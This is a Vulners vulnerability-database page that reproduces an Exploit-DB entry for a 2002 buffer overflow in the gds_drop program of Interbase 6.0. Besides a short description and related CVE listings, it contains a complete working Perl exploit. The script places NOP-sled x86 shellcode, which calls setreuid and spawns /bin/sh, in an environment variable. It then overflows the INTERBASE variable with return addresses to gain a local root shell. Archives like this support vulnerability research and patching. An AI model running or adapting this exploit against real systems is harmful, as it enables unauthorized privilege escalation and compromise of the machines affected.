Lucene search
+L

Interbase 6.0 - GDS_Drop Interbase Environment Variable Buffer Overflow (1)

🗓️ 15 Jun 2002 00:00:00Reported by stripeyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

Buffer overflow in gds_drop program allows execution of arbitrary code in Interbase 6.0.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2002-2087
5 Aug 200504:00
cve
CVE
CVE-2003-0281
14 May 200304:00
cve
Cvelist
CVE-2002-2087
5 Aug 200504:00
cvelist
Cvelist
CVE-2003-0281
14 May 200304:00
cvelist
Exploit DB
Interbase 6.0 - GDS_Drop Interbase Environment Variable Buffer Overflow (2)
18 Jun 200200:00
exploitdb
Exploit DB
Firebird 1.0 - GDS_Inet_Server Interbase Environment Variable Buffer Overflow
10 May 200300:00
exploitdb
Exploit DB
Firebird 1.0.2 (FreeBSD 4.7-RELEASE) - Local Privilege Escalation
12 May 200300:00
exploitdb
EUVD
EUVD-2002-2066
7 Oct 202500:30
euvd
EUVD
EUVD-2003-0276
7 Oct 202500:30
euvd
Tenable Nessus
GLSA-200405-18 : Buffer Overflow in Firebird
30 Aug 200400:00
nessus
Rows per page
source: https://www.securityfocus.com/bid/5044/info

Interbase is a database distributed and maintained by Borland. It is available for Unix and Linux operating systems.

A buffer overflow has been discovered in the gds_drop program packaged with Interbase. This problem could allow a local user to execute the program with strings of arbitrary length. By using a custom crafted string, the attacker could overwrite stack memory, including the return address of a function, and potentially execute arbitrary code.

Firebird is based on Borland/Inprise Interbase source code and is therefore also prone to this issue. *

#!/usr/bin/perl -w
#
# gds_drop exploit for Interbase 6.0 linux beta
#
# - tested on redhat 7.2
#
# - Developed in the Snosoft Cerebrum test labs
# - (http://www.snosoft.com) - overflow found by KF
#
# coded by stripey - 15/06/2002 ([email protected])
#

($offset) = @ARGV,$offset || ($offset = 0);

$sc  = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$ENV{"FOO"} = $sc;

$buf  = pack("l",(0xbffffdc0+$offset))x86;
$buf .= "A";

$ENV{"INTERBASE"} = $buf;

exec("/usr/local/interbase/bin/gds_drop");

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.01265
24